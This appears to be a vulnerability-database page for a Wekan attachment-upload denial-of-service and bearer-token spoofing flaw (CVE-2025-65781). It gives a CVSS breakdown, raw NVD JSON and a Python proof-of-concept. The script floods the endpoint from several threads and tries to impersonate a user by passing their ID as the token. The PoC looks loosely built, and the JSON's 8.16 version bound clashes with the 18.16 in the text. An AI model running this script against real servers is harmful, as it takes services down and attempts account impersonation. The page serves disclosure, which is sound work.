Security Vulnerability Report
中文
CVE-2025-65781 CVSS 8.2 HIGH

CVE-2025-65781

Published: 2025-12-15 14:15:58
Last Modified: 2025-12-18 01:35:29

Description

An issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Attachment upload API treats the Authorization bearer value as a userId and enters a non-terminating body-handling branch for any non-empty bearer token, enabling trivial application-layer DoS and latent identity-spoofing.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:wekan_project:wekan:*:*:*:*:*:*:*:* - VULNERABLE
Wekan < 18.16
Wekan <= 18.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading import time TARGET_URL = "http://target-server:3000/api/attachments" def exploit_dos(): """ CVE-2025-65781 PoC - Wekan Attachment Upload API DoS Description: The attachment upload API treats Authorization bearer value as userId and enters a non-terminating body-handling branch for any non-empty bearer token. """ headers = { "Authorization": "Bearer any_non_empty_value", "Content-Type": "multipart/form-data" } # Malformed multipart data that triggers non-terminating loop files = { "file": ("exploit.txt", b"test data", "text/plain")} try: response = requests.post( TARGET_URL, headers=headers, files=files, timeout=30 ) print(f"Response status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - target may be stuck in non-terminating loop") except Exception as e: print(f"Error: {e}") def identity_spoofing_test(): """ Test for potential identity spoofing via arbitrary bearer token """ target_user_id = "victim_user_id_here" headers = { "Authorization": f"Bearer {target_user_id}", "Content-Type": "application/json" } try: response = requests.get( TARGET_URL, headers=headers, timeout=10 ) print(f"Spoofing test response: {response.status_code}") print(f"Response headers: {dict(response.headers)}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("Starting CVE-2025-65781 PoC...") print("Sending malicious requests to trigger DoS condition") # Launch multiple attack threads for i in range(5): t = threading.Thread(target=exploit_dos) t.start() print("Attack requests sent. Monitor target server for DoS condition.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65781", "sourceIdentifier": "[email protected]", "published": "2025-12-15T14:15:57.567", "lastModified": "2025-12-18T01:35:29.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Attachment upload API treats the Authorization bearer value as a userId and enters a non-terminating body-handling branch for any non-empty bearer token, enabling trivial application-layer DoS and latent identity-spoofing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wekan_project:wekan:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.16", "matchCriteriaId": "F031B735-9703-4B9D-BDE9-CC4226B5EBD0"}]}]}], "references": [{"url": "https://github.com/wekan/wekan", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/wekan/wekan/blob/main/CHANGELOG.md#v816-2025-11-02-wekan--release", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/wekan/wekan/commit/ccd90343394f433b287733ad0a33c08e0a71f53c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wekan.fi/hall-of-fame/spacebleed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}